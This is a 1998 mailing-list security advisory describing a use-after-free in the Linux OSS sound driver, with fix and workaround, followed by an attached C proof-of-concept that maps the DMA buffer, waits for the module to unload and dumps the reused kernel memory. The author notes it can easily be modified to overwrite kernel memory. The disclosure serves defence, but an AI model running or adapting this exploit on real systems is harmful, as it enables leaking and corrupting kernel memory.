Re: Linux Sound driver ("OSS free") vulnerability

Thomas Sailer (sailer@IFE.EE.ETHZ.CH)
Tue, 17 Mar 1998 18:40:16 +0100

This is a multi-part message in MIME format.

--Boundary_(ID_v9PziLjOC3FLP24VgVseew)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit

Synopsis

Applications can mmap sound driver DMA memory into their
address space (see http://www.4front-tech.com for API
documentation). When the application closes the audio fd,
it still has the mapping to the DMA buffer. It can now
interfere with other apps playing/recording audio.
(i.e. the driver should prevent opening the sound driver
again while another app holds mappings open to it)
But there's a more serious problem: even though the mapping
still exists, the reference count of the sound module
has dropped to 0, thus allowing it to be removed
either by explicit rmmod or by kerneld. The sound driver then
frees the DMA buffer memory, but the application still has
the mapping to that memory. But since the memory is now considered
free, nothing prevents it from being reused for an arbitrary kernel
data structure. That way, the application can overwrite kernel
memory.

I have no idea whether commercial OSS is affected too,
so I would like to hear reports on that.

Solution

It has been fixed in Linux Kernel 2.1.89

Work around

Either don't allow untrusted users access to the sound device
(by setting permission on /etc/dsp* accordingly), or
don't demand load sound by kerneld, that is either compile
it statically into the kernel or load it manually by modprobe.

I've appended a simple test case to illustrate the problem.
It doesn't do any harm in the form appended, but can be easily
modified to do so.

Tom

--Boundary_(ID_v9PziLjOC3FLP24VgVseew)
Content-type: text/plain; name=soundhack.c; charset=us-ascii
Content-disposition: inline; filename=soundhack.c
Content-transfer-encoding: 7bit

/*
* bug test for OSS
* written by Thomas Sailer, sailer@ife.ee.ethz.ch
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/soundcard.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

static int checksound()
{
int fd;
char buf[8192];
char *cp;
int i;

if ((fd = open("/proc/modules", O_RDONLY)) == -1) {
perror("open: /proc/modules");
exit(1);
}
i = read(fd, buf, sizeof(buf)-1);
if (i < 0) {
perror("read");
close(fd);
exit(1);
}
close(fd);
buf[i] = 0;
cp = strtok(buf, "\n");
while (cp) {
if (strncmp(cp, "sound", 5)) {
cp = strtok(NULL, "\n");
continue;
}
return strstr(cp, "(autoclean)") ? 1 : -1;
}
return 0;
}

int main(int argc, char *argv[])
{
int soundfd, i;
audio_buf_info info;
unsigned char *audiobuf;
unsigned int audiosize;

if ((soundfd = open("/dev/dsp", O_RDWR)) == -1) {
perror("open: /dev/dsp");
exit(1);
}
i = checksound();
if (i == -1)
fprintf(stderr, "warning: module sound not autoclean, remove by hand\n");
if (!i) {
fprintf(stderr, "module sound not found\n");
exit(1);
}
/* getting audio info and mmapping audio stuff */
if (ioctl(soundfd, SNDCTL_DSP_GETOSPACE, &info)) {
perror("ioctl: SNDCTL_DSP_GETOSPACE");
exit(1);
}
audiosize = info.fragstotal * info.fragsize;
if ((audiobuf = mmap(NULL, audiosize, PROT_READ, MAP_SHARED, soundfd, 0))
== MAP_FAILED) {
perror("mmap");
exit(1);
}
// memset(audiobuf, 0, audiosize);
close(soundfd);
printf("Sound buffer address %p size %#x\n", audiobuf, audiosize);
printf("The dirty deed is prepared, waiting for sound to unload\n");
while (checksound()) {
sleep(5);
fputc('.', stdout);
fflush(stdout);
}
printf("\nOk, sound unloaded, now make some system activity\n");
sleep(10);
printf("Memory dump:");
for (i = 0; i < audiosize; i++) {
if (!(i & 15))
printf("\n%06x ", i);
printf(" %02x", audiobuf[i]);
}
exit(0);
}

--Boundary_(ID_v9PziLjOC3FLP24VgVseew)--